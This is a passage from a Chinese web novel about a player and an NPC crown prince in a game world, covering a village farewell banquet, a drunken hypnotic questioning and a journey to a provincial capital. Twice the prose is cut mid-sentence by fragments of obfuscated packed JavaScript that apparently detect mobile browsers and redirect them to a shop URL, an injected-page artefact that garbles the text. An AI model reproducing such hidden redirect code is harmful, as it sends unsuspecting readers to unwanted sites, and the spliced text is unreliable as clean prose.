在第十三次低头惊醒后,她迷迷瞪瞪起身,梦游般告诉庄非鱼: “我去看锅烧好了没有。” 然后恍恍惚惚飘走。 庄非鱼中断讨论微积分,对金穗的背影喊: “回来时再拿个竹篦子。” 村里风声鹤唳,家家户户都在抓紧时间准备干粮、藏匿东西。 金禾喊金穗看着锅灶,自己回房里收拾家当。 连一个破碗都不放过。 他想:万一土匪恼羞成怒,摔了碗呢! 待锅烧热后,庄非鱼的面团也放满了。 金穗过来提起竹篦子,放进大锅上蒸,顺手又拿了一个竹篦子过来。 盆里剩下的面团,还不够放半个竹篦子。 这已经是金穗家所有的面粉了。 团好所有面剂子,庄非鱼没了讨论高数的兴致。 她盯着面前五个灰黄的面团,发愁道: “就靠这点粮食怎么过冬?” “如果没有我们,他们一天吃一顿,也许能撑到开春。” 北山鄢慢悠悠摆好五个馒头。 上一锅正慢慢蒸着,金穗进来取最后一笼。 俯下身正要抬起竹篦子时,庄非鱼叫住她问: “你知道,村长要带我们去哪里吗?” “不知道,我上次去的时候还不记得事。” 金穗抿起唇,摇了摇头: “我只知道是一个很远的地方,藏到我娘准备的馍馍都吃完了……” < 37. 离别在即 房间内,北山鄢一曲终了,指尖转动,玉笛又恢复成青玉簪的模样。 庄非鱼原本拄腮静听,见他收回,不由急道: “收起来做什么?我还没听够呢。” 她微微倾身,满眼不舍。 村里没有娱乐,好不容易才听回曲子,怎么才听了一曲就收了? “让你一次听够,下回不听了怎么办?” 北山鄢放下簪子,气定神闲地逗她。 而后转头对金穗道: “收回去吧。” “我不要!”金穗摇了一下头,“这原本就是你的。” “说好的,这是收留我们的谢礼。” 北山鄢朝她的方向轻轻一推,簪子碰撞木桌,发出锵鸣的声音。 金穗向后一仰,局促摆手道: “小鱼姐姐给我们带了那么多肉,还帮我们躲土匪,这就够了。” “那是她的谢礼,这是我的。”北山鄢笑道: “我再教你怎么用它,从此以后,天下去得。” 金穗不懂这话的含义,她隐约感觉这是极了不起的承诺,可本性的腼腆让她不敢伸手。 庄非鱼也不搭话,拄着胳膊看他俩推来让去。 就在这时,金禾端着刚出锅的馒头过来了。 他哆嗦着手,轻轻放下竹箩,声音颤抖道: “两界山雪崩了,土匪窝都埋了。” “雪崩了?”庄非鱼直起身子,惊愕极了。 她第一反应是望向北山鄢。 北山鄢毫不惊讶,他不慌不忙地拾了一个馒头,递到庄非鱼唇边: “尝尝,你亲手蒸的。” 馒头冒着热气,庄非鱼下意识咬了一口,牙齿碰到馒头里面,便被热气烫地生疼。 她一边口齿不清地喊“烫”,一边张大嘴巴哈气。 两只手凑到嘴边不停扇风,缓解烫红的舌尖。 “有这么烫吗?”北山鄢疑惑地捏了捏。 他拿在手上可不觉得烫。 庄非鱼缓了一会儿才咽下去。 她望了望金禾,又望了望北山鄢。 金禾看北山鄢那恐惧的眼神,颤抖的双手,以及衣襟没洗干净的血迹,让她意识到: 两界山的雪崩,和北山鄢逃不开关系。 可从金禾出去到现在,他一直在房里。 仅仅一首曲子的时间。 庄非鱼用舌尖顶了顶牙齿,轻轻拿起那枚玉簪,像转笔一样,稚拙地转了一圈。 她的眼神慢慢上移,最后落到北山鄢的眉间。 “音攻?”她猜道。 “小鱼真聪明。” 北山鄢笑吟吟地表扬,又掰下一小块儿馒头递到她嘴边: “这块不烫。” 庄非鱼顺口咬住,嚼着嚼着,眉眼皱成一团。 她勉强咽下去,可怜巴巴道: “好酸……” 发酵过头了。 “下回多加些蓬灰水。” 北山鄢没再投喂她,而是将剩下馒头撕着吃了。 庄非鱼本就不饿,她伸了个懒腰站起身,拿起桌上的青玉簪,放到金穗手上,对金穗说: “拿着吧,好不容易薅他一回羊毛。” 听了这话,北山鄢佯装伤心道: “原来,我在你心里是个一毛不拔的铁公鸡。” “哪有!”庄非鱼笑嘻嘻道: “你是小肥羊,等我切了煮火锅吃。” 说到火锅,她的脑海里浮现出红通通的锅底,毛肚丸子羊肉卷、虾滑鸭爪牛肉片、香菇冬笋娃娃菜…… 不行,不能再想了,再想口水就要流出来了! “等回了盛京,我请你吃全京城最好吃的火锅。” 北山鄢扬了扬手里的半个馒头,对她说道。 “一言为定!” 庄非鱼抬起下巴,愉悦望向自己的新“饭票”。 两界山已倾,土匪八成都死光了。 庄非鱼高兴自己不用搬东西躲来躲去,她继续给北山鄢雕小猫发簪,顺便让系统在暗处播放广告,薅一个广告1星币的小奖励。 发簪很快就雕好了,她一时技痒,向系统兑换了更精细的刻刀,给北山鄢经常柱的拐杖也雕了一只小猫。 见家里家具老旧,她又做了些桌椅板凳。 就是工具不齐全,发挥不出自己的水平。 北山鄢见她还有这手艺,不由惊道: “你的木工师从何人?做得不比宫里木匠差。” “师从我爷爷!” 庄非鱼用糙石在桌腿面上打磨,得意地回答: “他在我们老家是很有名的木匠师傅,我小时候经常给他打下手呢。” “民间还是藏龙卧虎,”北山鄢摩挲着木簪上憨态可掬的小猫,感叹道: “这样好的手艺,盛京都难寻。” “盛京当然难寻,熙国都寻不到……” 整个世界都寻不到了。 庄非鱼说着说着,语气低落下来。 “你爷爷不在熙国吗?”北山鄢问。 这是小鱼第一次提到自己的家人,他自然想多问几句。 “我和他,已经是两个世界的人了。” 庄非鱼低头继续打磨桌面,发丝垂落到她脸颊边,遮住她白净的脸颊,以及伤感的神色。 但她很快抬头,回忆起快乐的日子: “我和爷爷奶奶住的时候,他天天追着喊着让小辈学他的手艺,其他哥哥姐姐都不愿意,就我天天跟着他刨木花。” “他们错过了好东西。” 北山鄢拿起庄非鱼做的小凳子。 小矮凳样式新奇,比寻常凳子多了几分圆润可爱。 “你父亲也不愿学吗?”他问。 “他才不喜欢这些呢。” 庄非鱼想起自己那谈木工色变的爸爸,忍不住笑出声。 “以前家里人过生日,爷爷都会送我们一个木制的小礼物,后来我学会雕小动物了,送礼物的人变成了我。” 如果没有那场车祸。 她慢慢打磨着桌腿,想起高三那年的生日。 高考生压力大,没有假期,爸妈心疼她,特意在生日这天给老师请了假,打算带她好好玩一天。 那天爸爸开着房车,和哥哥坐在前面,她和怀孕的妈妈坐在后面,四个人有说有笑,商量一会儿露营先搭帐篷还是先煮饭。 直到一辆运石车撞过来。 爸爸和哥哥当场死亡,妈妈紧紧将她护在怀里,背脊碎裂,失血过多而死。 从此她的生日礼物,再没能送出去过。 石头差点压上手指,庄非鱼回过神来,强笑着转移话题: “老说我干嘛呀,你呢?你过生日大家都送什么礼物?” “无非就是一些奇珍异宝,诗词书画,没什么特别的。”北山鄢摇了摇头。 “奇珍异宝……有多奇? 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男子自言是武林盟主,过路时见金穗天姿灵秀,想收她为徒。 庄非鱼这才了悟: 原来金穗的命运线是这样来的。 如果没有她和北山鄢介入,土匪便会屠村,只留下金穗一个幸存者,待武林盟主路过时收为徒弟。 屠村支线改了,但剧情惯性,还是让金穗带回自己的师父。 武林盟主出钱租了隔壁家院子,待天暖和再走,给足金穗道别的时间。 他时不时过来教金穗打熬筋骨,庄非鱼看着有趣,也跟着学了两招。 系统出品的身体自然天赋异禀,盟主教着教着,恨不得再收个徒弟。 奈何庄非鱼惫懒,不愿吃夏三九冬三伏的苦,没练一会儿就跑掉。武林盟主来检查时,只能无奈看着北山鄢和金穗帮她打掩护。 即便这样三天打鱼两天晒网,到开春时,她还是练下一门足够独特的剑法。 北山鄢的腿伤也好全了。 天下无不散之筵席。两人约定,待桃花盛开后,他们就离开村子。 某天早上,庄非鱼被一阵甜香吵醒。她睁眼,看见北山鄢摘了几枝含露的桃花进来。 他将桃花递过来,身上犹带清晨微冷的草木气。 庄非鱼接过,深深嗅了一口,满足道: “桃花怎么偷偷开了,好漂亮。” “是啊,昨日尚且含苞滴翠,春风一夜吹桃红。” 北山鄢拨弄花枝,有些不舍。 离别的时间到了。 庄非鱼起身,换上刚来时穿着的衣服,去和村长村民们道别。 听两人要走,村长拦了好一会儿,见拦不住,便要举办一场欢送宴会送送她。 这个冬天,庄非鱼提供的肉食,养得村里小孩都胖了一圈,大家自然舍不得她。 一说起宴会,庄非鱼本能就想兑换点吃的,却被村长按住。 村长正色对她说: “姑娘,这次我们当东家,你什么也别往外掏。” 村长强硬的语气,以及口袋里所剩无几的星币,让她收回蠢蠢欲动的手。 下午时,她特意打扮一番,编了好看的辫子,和北山鄢一起参加这场送别宴。 38. 知我非我 到了傍晚,游戏里的月亮像灯泡一样亮,祠堂前面仅挂了两只灯笼,就能看清所有人的脸庞。 庄非鱼一个个看过去,几个月相处下来,村里大部分人她都能叫上名字了。怀着伤感的思绪,她预备上前,和大家依次道别,刚迈出腿,就听见村长说: “首先,让我们感谢昊天,赠予我们食物。” 离别的愁绪一下子被冲散了,所有村民都站起身来,闭上眼睛,嘴里念念有词开始祈祷。 祈祷完毕,大伙儿睁开眼睛,看村长掏出三支香点上,插进香炉。 “今天还有香?” 村民喜气洋洋地交谈,纷纷上前领香,跪拜贡于昊天神像前。 明明是自己的送别宴,怎么有种自己很不重要的感觉? 庄非鱼郁闷一瞬,很快改变心态,撺掇北山鄢:“走,我们也去上两把香。” 北山鄢惊愕问她:“你也要跟着拜?” “拜就拜嘛,跟着玩玩喽。” 庄非鱼挤进人群,抢了六支香,递给北山鄢三支。 北山鄢默默接过,道: “我以为,你是最讨厌这些参拜礼节的人。” “以前是挺讨厌的。” 庄非鱼一手高举香,一手推开挤攘的人群,回头对他说: “我奶奶就信佛,小时候没少哄我念佛经,那时候是有点烦。可现在见不到她了,看见有人烧香还挺怀念的。” 话刚说完,她挤到跟前了,捧着线香,双手合十念念有词: “敬爱的佛祖,啊不,昊天,祝你快乐。” 说罢点燃线香,寻了个角落插入香炉内。 插得又直又平! 她满意地欣赏三秒,推搡北山鄢道: “快,到你了。” 北山鄢无奈上前,目视昊天神像,一旁的道童连忙提醒他: “不能直视神像,神会发怒的!” 北山鄢扬了扬眉,将线香投入香炉。 敬完神后,村长开始发表重要讲话。 他先是肯定了庄非鱼的突出贡献——自她来村里,肉食就没有断,今年冬天没人饿死。再表扬北山鄢,说他心细如发能及时发现土匪的探子。 而后花了半个时辰,声情并茂,潸然泪下地感谢神明保佑,让两界山倾,救了全村人的性命。在场村民听到这里,无不感恩戴德,唯有庄非鱼吐槽一句: “这迷信劲儿,更像我奶奶了。” 村长说完,终于到了今天的大头——上菜! 厨娘厨夫端着冬天或腌或卤的猪肉,和地里新长出来的嫩菜,送到每个人的桌子上。 上菜间隙,北山鄢招了招手,问金禾卖货郎有没有过来? 金禾笑嘻嘻说“来了”,他喊了一声,一个扁担挑筐的卖货郎过来,给每个桌子上了两坛酒,剩下的全挑过来,堆到庄非鱼脚下。 北山鄢拾起一坛,倒给她一杯: “答应你的酒,如数奉还。” 什么时候答应过? 庄非鱼有些记不清。 她接过酒杯喝了一口,清甜微酸的滋味,让她满足到眯起眼睛。 就着卤肉连喝几杯,酒兴起来了,她提着酒坛,挨个桌子转过去,和大家道别。 最近的是金穗金禾。 金穗金禾坐小孩那桌,见她过来,也腼腆地举起酒杯。 庄非鱼连忙上前,一把抢过酒杯: “小孩子不要喝酒,来,喝茶!” 她拿了新杯子,给两人各倒一杯,笑嘻嘻道: “多谢小金穗的救命之恩,和小金禾这些天的关照,姐姐明天就要走了,过几天,你们也要随师父离开。没准以后,咱们还能再见面。” “你记得上昆吾山看我!” 金穗捧着杯子,眼睛红红的。 “会的。”庄非鱼掏出手绢,塞到她怀里。 然后顺着桌子,和小孩们过家家似的,一杯杯喝过去。 走完这桌是下桌,再下一桌。 北山鄢很快看不下去了,他过来代庄非鱼喝,可庄非鱼已有醉意,不停和他抢酒,将他赶走。 喝到村长那桌时,村长似乎有些不高兴,站都不愿意站起来。按理说敬酒应当先敬地位高的,可庄非鱼却先敬小孩,这不仅坏了规矩,还损了他这个村长的威严。 但他也没发火,只是咳嗽一声,道: “庄姑娘,进了社会要多学人情世故,要给别人面子……” 庄非鱼喝得半醉,压根没听清他在说什么,只是举着杯子喊: “来,村长,走一个!” 村长板着脸,一口闷下。 敬了几个老头后,最后一个是武林盟主柴师父。 庄非鱼这会儿已经大醉,她一看见柴师父,不由悲从中来,大哭道: “柴师父,你打我打的太狠了!” 在场众人都笑了,唯有金穗感同身受,狠狠点头,抹了把辛酸泪。 柴师父严肃道: “回到家后,万不可懈怠武功。” 庄飞鱼哭得更厉害了。 酒足饭饱后,宴席散场。 庄飞鱼路都走不稳了,还一个劲儿说自己没醉。 北山鄢一开始扶住她,可她像水里的小鱼一样难抓。 他只好打横抱起庄非鱼,一只手环绕过来,抓住她不停挥动的双手。 借着月光,他看见庄非鱼满脸通红,一双眼睛转来转去,四处乱看,就是不看他。 他低头笑道: “以前怎么没发现,你还是个酒蒙子。” “酒,什么酒?” 庄非鱼提取到关键词,立刻挣扎着,挣脱北山鄢的怀抱。 她撇开北山鄢的手,四处环顾一圈,全是些花花草草,没看到有酒。 忽而抬头,看见天空中的月亮,连忙指着山坡大喊: “快,那边有月饼,还是奶黄馅的,我们去吃!” 说罢摇摇晃晃就跑了上去。 北山鄢无奈,只能跟在后面,免得她摔跤。 上到山坡最顶端,她晃晃悠悠地,伸手去摘月亮。北山鄢拦也不住,只能虚扶住她,解释道: “这是月亮,不是月饼。” “你胡说,月亮不是这样的。” 庄非鱼不高兴地回望他一眼。 夜空中没有星星,仅一轮圆月高悬,撒下遍地清辉。 北山鄢抬头看着通体浅黄,没有一丝阴影的月亮,悠悠问: “那月亮该是什么样的?” 庄非鱼想说月亮上有山脉和裂谷,怎么会是这个灯泡一样的东西?可话到嘴边忘了词,最后稀里糊涂说: “月亮是有伤疤的。” 说罢摇了摇头,指着月亮继续说: “反正这个灯泡不是月饼,我的月饼呢?你藏哪去了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985817|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她气愤回头,两只手伸出来,在北山鄢袖子里衣服上摸来摸去,寻找被他藏起来的月饼。 北山鄢四处闪躲,最后抓住她作乱的手,苦恼一叹: “以后可不能叫你喝酒了。” 这世间能难住他的事并不多,小鱼醉酒算一件。 乌云慢悠悠行过,遮住半个月亮。天空黑沉后,庄非鱼打了个大大的哈欠。 她一屁股坐在山坡草地上,小声说“我困了”,然后顺势抱住北山鄢的腿,靠在上面不走了。 “困了回去睡。” 北山鄢蹲下,伸手向她。 庄非鱼不理会,又大大打了个哈欠,上下眼皮慢慢打架,脑袋渐渐倒在他腿上。 北山鄢欲走而不得,便席地坐下,一只腿曲着借给她靠,一只腿伸直,抬头望着冷寂的残月。 他沉默许久,许久,直到庄非鱼快要睡着时,才指着月亮,轻柔道: “小鱼,你抬起头看月亮,今晚月色真美。” 庄非鱼听了他的话,迷迷糊糊抬头,望着月亮。 北山鄢继续说: “你看,月光轻轻柔柔洒下来,洒在草地上,这里很安全,很舒服,只有我们两个人在,我永远不会伤害你。你累了一天了,来,闭上眼睛,好好睡一觉。” 庄非鱼看着月亮,听着他舒缓的话语,慢慢闭上眼睛,脑袋向后仰去。 北山鄢揽住她的肩膀,问她: “我们很快就要回盛京了,你开不开心?” 庄非鱼似乎陷入一种似睡非睡的玄妙状态,她浑身放松,做梦般开口: “不开心,又要早起了。” 北山鄢的声音像是隔着一层玻璃,从另一个世界传来。 他说:“早起真不好,真希望能换个不用早起的工作,你喜欢什么工作?” 庄非鱼说:“我不喜欢工作,我想当个包租婆,每个月只用收一次租就好。” 北山鄢道:“我是熙国太子,我可以养你呀。” 庄非鱼回:“不用你养。” 北山鄢问:“为什么?因为我是NPC吗?” 庄非鱼答:“对。” 北山鄢顿了一下,用更轻、更柔的语气问: “小鱼,NPC是什么?” 庄非鱼回答:“NPC……就是游戏角色。” 北山鄢问:“我,由谁创造?” 庄非鱼答:“游戏公司呀。” 北山鄢问:“创造我做什么?” 庄非鱼答:“和玩家互动,让玩家攻略。” 北山鄢问:“你也是来攻略我的吗?” 庄非鱼摇头:“不是。这个游戏出问题了,我拿一笔钱……” 说到这里,她忽然全身颤抖,似乎大脑本能警惕这个话题,阻止她说下去。 北山鄢见状,轻轻握住她的肩膀,道: “好了,不要害怕。你看,月光柔柔洒满大地,你靠在我身上,我们两个一起沉眠,这里很安全,很安全……” 听到他的安抚,庄非鱼渐渐停止颤抖,在他怀里沉沉睡去。 北山鄢搂住庄非鱼,怀中身躯温热,可传到他身上,只剩彻骨的凉意。 他坐在草地上,久久地、久久地望着孤月。 天空深不见底,唯独一弯细尖的白月呈现黑色的轮廓,像一只细长的眼睛直勾勾盯着他。 他感到一种难以名状的恐怖。 39. 碧海苍梧 第二天,早晨的第一缕阳光透过窗棂,落到庄非鱼眼皮上。 她缓缓睁眼,看见熟悉的农家房梁。 揉着隐痛的脑袋,庄非鱼慢慢坐起来,回忆昨晚醉酒后的行径。 先是挨个敬酒,大喊大叫,搂着柴师父哭,非要上山坡去摘月饼,抱住北山鄢的腿要睡觉…… 最后失去意识,不知怎么回来的。 她的脸色变了又变,最后痛苦地抱住脑袋,发出无声尖叫: 啊啊啊! 我都做了什么??? 喝酒害人啊!!! 北山鄢撩帘进来,放下早餐,笑着逗她: “醒了?” 庄非鱼捂住脑袋,闷声闷气道: “没有!” “看来朝食是不必用了。” 北山鄢端起餐盘,佯装要走,庄非鱼立刻喊他: “我要用,你别拿走!” 她掀开被子跳下床,心想北山鄢但凡嘲讽一句,就用馒头狠狠堵住他的嘴。 可直到洗漱完坐到桌前,也没见他再出声。 庄非鱼想:算你识相。 于是掰给他半个馒头,若无其事问: “我们拿肉换的衣服要不要还给大家?” 北山鄢道:“我已尽数奉还,去了县上再买新的。” “买新的?我们哪有钱?”庄非鱼直起腰,满脸迷惑。 “放心,不会叫你衣不蔽体。” 北山鄢没有解释,只是递给她一个安心的眼神。 吃完早饭,两人带着收拾好的行李,去和金穗金禾告别。 金穗红着眼眶,又拿出一个装满食物的包袱,说这是村民挨家挨户送过来,让他们带着路上吃的。 庄非鱼推辞再三,但好意难却,最后还是带上小半个包裹的肉干。 这一走就是半个多月,从桃花盛开走到桃花凋谢,再到挂上初果。 路上,北山鄢谨遵柴师父旨意,盯着庄非鱼勤练武功。 可他太过心软,挨上两句撒娇,就败下阵来。 临近沧州,庄非鱼开始唉声叹气,拖慢脚步。 北山鄢提着包袱,问她为何叹气? 庄非鱼哀叹道: “回去又要写呈文了。” 她的语文水平,顶多能把事情说清楚,每次上报前,都要苏巧巧帮忙改成文言文。 庄非鱼看了看北山鄢,忽然想到他的身份,眼睛一亮,拽住他的衣袖,软声道: “你不是太子嘛,等回去以后和朝廷商量商量,改改这种有事没事都要写汇报的风气,省得我们浪费人力浪费纸张。” “这个……我爱莫能助。”北山鄢摊了摊手,道,“倒是可以替你捉刀。” “嘁,治标不治本。” 庄非鱼哼了一声,没再理他,自顾自去摘路边的花。 北山鄢一个人背着三个包袱,不解问她: “你这样疏懒,怎么会进除魔司?” 庄非鱼扯了一朵花,理直气壮道: “除魔司招人又不看性格,我有超能力符合条件喽。” “你有能力,为何不周游天下,而在衙门里受人管辖?”北山鄢继续问。 庄非鱼梗了一下,缓缓吐出一个字: “穷……” 还不是没钱闹的。 要是有钱,她早就躺平了,用得着冒着生命危险进这个破游戏。 她嘟囔道: “要是有钱,我就买一堆房子租出去,每个月只用收一次租,剩下的日子就是吃喝玩乐,想干嘛干嘛。” “在家待着有何意趣?” 北山鄢摇了摇头,不以为然。 “若我是你,就做徐霞客那样的人物,朝碧海而暮苍梧,方是人生一大快事。” 庄非鱼瞅了瞅他,笑道: “若你是我,绝不会想什么朝碧海暮苍梧,只会想着下顿饭去哪吃。” 她摘了一朵粉花,觉得好看,偷偷别进北山鄢的发丝里。 北山鄢拎着包袱,腾不开手,只能任她动作。没一会儿,脑袋上就插满鲜花。 越靠近沧州首府,行人越多,路人见一俊美男子头上簪花,不免频频回望。 北山鄢有些难为情,叫庄非鱼给他拿开。庄非鱼却不答应,反而故意揶揄: “你看,大家都被你的美貌惊呆啦。” 北山鄢没法子,只能寻一苍翠树下,放下包裹,独自摘掉满头花枝。 庄非鱼也坐下来歇息,趁她低头喝水,不注意时,北山鄢朝她脑后簪了一支大红花。 等她抬头,又故意转移话题: “你那残刀缺剑是否该见见天日了?” 残刀缺剑是柴师父教的一门功法,也是一柄宝剑的名字。 这柄宝剑剑中藏刀,使用时可以随时拔出短刀,攻敌手一个出其不意。 因庄非鱼是罕见的双撇子,左右手都能灵活使用,右手持剑左手使刀,能完美适配这门功法。 庄非鱼眼神乱飘,想到自己三天没练剑法,不由得心虚。 可走了一路,她实在不想练习,便反口问北山鄢: “你的玉笛呢?整整一天没练了吧!” 青玉簪原本是北山鄢留给金穗护身的,没想到离开前,金穗偷偷将簪子塞进包裹,两人直到天黑住客栈时才发现。 这姑娘一点儿都不愿意占人便宜。 庄非鱼感动又好笑,一路上没少指使北山鄢吹曲。 堂堂太子沦为私人乐师,供她享受取乐。 北山鄢一边腹诽,一边拿出玉簪,手腕翻转变为玉笛。 吹了一曲又一曲,北山鄢收回笛子,拍拍庄非鱼: “我们该走了。” 庄非鱼抱住大树,赖皮道: “再歇一炷香,就一炷香!” 北山鄢看了看天色,无奈开口: “天黑前进不了城,我们只能露宿野外了。” “一会儿走快点嘛。” 庄非鱼揉着酸胀的脚踝,继续耍赖。 为了天黑前赶到城里,两人几乎没休息,一整天都在赶路。 她也想受住,可身体先罢工了。 北山鄢抬头看看天色,太阳已然西沉,便将包裹递给庄非鱼,屈膝蹲到她面前: “喏,上来。” 庄非鱼赧然一笑,背起包袱,麻溜爬上去,搂住他的肩膀。 城门关闭前,两人总算赶到,庄非鱼迫不及待跳下去,拽着他走: “快,我们去木兰商行换吃的!” 木兰商行旗下的店铺,开遍熙国大街小巷。北山鄢手里的信物,让他去任何店铺都能享受VIP待遇。 庄非鱼一路跟着他蹭吃蹭喝,到了沧州首府,更是迫不及待。 “这次,我们不去木兰商行。” 北山鄢微微一笑,接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064301|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一只包袱。 “那去哪?”庄非鱼疑惑。 “跟着我就是了。” 北山鄢牵起她的手,大步走去。 庄非鱼一路茫然跟着他,眼看错过一个又一个印着木兰标识的餐馆。 最后在沧州府衙前停下。 门口守卫警戒,见两人过来,心中惊疑,正要去拦。 北山鄢松开庄非鱼的手,摘下腰间令牌扔过去,随口道: “告诉州牧,北山鄢来访。” 说罢牵起庄非鱼,迈腿就进。 侍卫手忙脚乱接住腰牌,慌乱一看,见上头刻着“监察御史令”,便急忙答应,快跑进去,不敢多看,亦不敢多拦。 另有一些机灵侍卫,凑上前去接过包袱,随在两人后面。 庄非鱼跟着迈步进去,瞧北山鄢瞧着稀奇。 她见过最多的,是北山鄢虚弱静养的一面、无奈听话的一面、任劳任怨的一面,这幅目下无尘的样子,只在郦府时远远见过,早就尘封在记忆里了。 刚进府衙大厅,州牧携三五官员急匆匆赶来,跪下磕头: “臣李庚山见过太子殿下,救驾来迟,还望殿下恕罪。” “起来吧。” 北山鄢摆了摆手,低头问庄非鱼: “你想吃点什么?” 身前跪了几个严肃的老头,庄非鱼一时有些不好意思,小声说: “随便。” 不等北山鄢开口,李州牧察言观色,妥帖道: “臣在八宝楼开一桌宴,还望殿下和小姐赏脸,令臣略尽地主之谊。” 他笑得极为和善。 “走吧。” 北山鄢示意他带路,路上漫不经心问: “郑元嘉怎么样了?” 李庚山连忙答道: “郑元嘉已革去公职,连同朋党黄季端等十三余人入京待审,暂时由臣代行州牧一职。” 听到这里,庄非鱼按耐不住,转头问李庚山: “黄阶平和他表妹怎么样了?” 李庚山躬着腰,抬头望了眼北山鄢,略一思索,回答道: “黄县令失去父亲荫蔽,日子不太好过。” 庄非鱼心头一紧,追问他: “怎么个不好过?” 李庚山小心答道: “生活是不打紧的,只是上头无人提携,政令难行。” 他垂头答话,心里却想着: 这位姑娘一直问黄阶平,难道是黄家的姻亲? 没想到黄家还有这等好运道,不声不响攀上太子殿下,看来对黄家族系,得换一番态度了。 北山鄢见李庚山思量,便知他的小心思,可他更好奇另一件事: “你和黄阶平……关系很好?”他问庄非鱼。 “唔,她是我在郦府最好的朋友。” 庄非鱼回应道,面上仍带些许担忧。 她心里想的是郦之清,却没意识到:在他人眼里,她关心的是一个正值青春的男子。 北山鄢听了,微笑道: “不必太过担忧,州牧在此,必会‘好好’提携黄阶平。” 庄非鱼大喜,双手合十,向李庚山感激道: “那就拜托州牧了。” 她心想:正好郦之清在沧州,不如过几天去看看她,也好放心。 李州牧面上唯唯答应,却听出太子重音,心中自有一番计较。 40. 爱会消失 八宝楼名为楼阁,实为园林,因其由八景八楼组成,故名八宝楼。 庄非鱼跟着入园,路上亭台楼阁,山水花木,无处不精致,无处不风雅,她眼也不错地看,怎么也看不过来。 有处戏台唱着《牡丹亭》,缠绵婉转的声音萦绕耳畔。另一处似有诗会,青年吟诗之声隐隐传来。 庄非鱼踮起脚尖想去瞅瞅,李庚山立刻识趣道: “正西边是鸳鸯楼,楼里有沧州最好的水磨调,殿下可要赏评一番?” “不必了,寻一清净场所吧。” 北山鄢摆手拒绝。 庄非鱼听他拒绝,当即就想回怼,可碍于身后跟着的官员侍从,便收回撒娇耍赖的话,只是偷偷伸手,恨恨掐了他一把。 北山鄢愕然回头,以为她是恼怒自己步伐太快,索性牵起她的手,放慢脚步。 这么多人在! 庄非鱼别扭地回望一眼,挣了挣手,没有挣脱。 身后官员依官阶跟着,个个鼻观眼、眼观心,脸上带着一个模子刻出来的、恭敬礼貌的笑容。 这样表面一团和气,实则压抑森严的气氛,让庄非鱼有些憋闷。 她不自觉去收敛言行,注意自己的一举一动是否合适。 可一条鱼再怎么伪装,也无法融入丛林,旁人一眼就能看出她的格格不入来。 在李庚山的介绍下,一行人穿过竹海,绕过曲廊竹亭、雨轩香榭,踏进竹青楼。 竹青楼整栋由竹子建造,四面傍水,翠竹环绕。楼内侍女侍从皆着青衣,安静布菜。 北山鄢第一个落座,庄非鱼坐在他身侧。其余官员站在一旁,敛声静气,不敢动作。 “都坐吧。”北山鄢抬了抬下巴。 李庚山连声称是,待众人落座后,他小心翼翼介绍道: “殿下,这几位是我们沧州属官……” 陪侍官员立刻起身,正要下跪,北山鄢抬了抬手,轻描淡写压回去。 他说:“今日不谈国事。” 随后,他夹了一筷子春笋,放进庄非鱼碗里,笑问道: “尝尝好不好吃?” 庄非鱼瞄了他一眼,慢慢夹起春笋,放进嘴里,安静咀嚼。 上桌吃饭的沧州政要有近十个,布菜的侍女有近二十个。 她实在不适应这种吃一口饭有十几人盯着服务的气氛。 咽下食不知味的春笋,她用胳膊杵了杵北山鄢: “挺好吃的,你也尝尝。” 话音刚落,身后侍女立刻盛了一小碟春笋,放到北山鄢面前。 北山鄢尝了一口,点头道: “确实不错,春天正是吃笋的季节。苏东坡有一句……” “吃你的吧!”庄非鱼一听他引经据典,忍不住恢复本性,堵他的话。 北山鄢早就习惯她的脾气,倒也不在意,自顾自吃了。 在场官员却心绪起伏,震惊庄非鱼的轻慢。 不知这姑娘是何来历? 未免太过骄纵。 可他们不知道:这已经是庄非鱼收敛后的样子。 身后侍女见缝插针,又给她舀了一勺汤。 庄非鱼品了一口,觉得好喝,禁不住问: “这是什么汤?” 李庚山听闻,笑着回答: “这是青蟹鲜笋汤,取初春三门湾现捕的青蟹蟹腿,以及临安春雷刚过的新笋,佐以丹参、冬菇、枸杞等提味增香……” 李庚山说起话来一套一套的,像庄非鱼高中时的教导主任。 她边听边点头,一句也不反驳,做足好学生的模样。 北山鄢见她对自己张牙舞爪,对李庚山却唯唯诺诺,忍不住笑骂一句: “窝里横!” 庄非鱼转头瞪了他一眼。 更横了。 侍女又盛了一小块白中带粉的酥饼过来,庄非鱼一看到饼子,立刻夹给北山鄢,带着半炫耀的语气道: “这是鲜花饼,荔城最有名的美食!” 北山鄢尝了一口,问:“你喜欢?” “那当然!” 庄非鱼点头,转头想给自己夹一块儿,侍女却已经不声不响,盛到她面前。 她一口吃了,觉得这块鲜花饼的味道,比郦之清给她的要好吃太多。 想到郦之清,她按捺不住,又去问李庚山: “州牧都知道黄阶平什么事?他有哪些政令行不通?” 李庚山汗流浃背了。 他身为州牧,哪有空去了解手下一个小小县令的困难? 只是上任郑州牧贪污牵扯出黄家,酒席上有人当个笑话讲了,才听了只言片语。 想到这里,他忙不迭吩咐席上一名魁梧官员: “李将军,你与黄家有姻亲,可知黄县令近况?” 李将军起身拱手道: “回大人,谷留县中多豪强,王家的王巍之,是永煦十六年举人出身,听说黄县令与其有些嫌隙。” “王巍之……是已故太府寺卿卢鸿林的门生?” 北山鄢支颐品酒,随声一句。 “殿下好记性!” 李将军赞了一句,继续道: “王巍之原本前程似锦,可在地方上任时摔伤了腿,只能回到谷留老家做个富家翁。黄县令初到任上,不知底细,办案时得罪了王举人……” 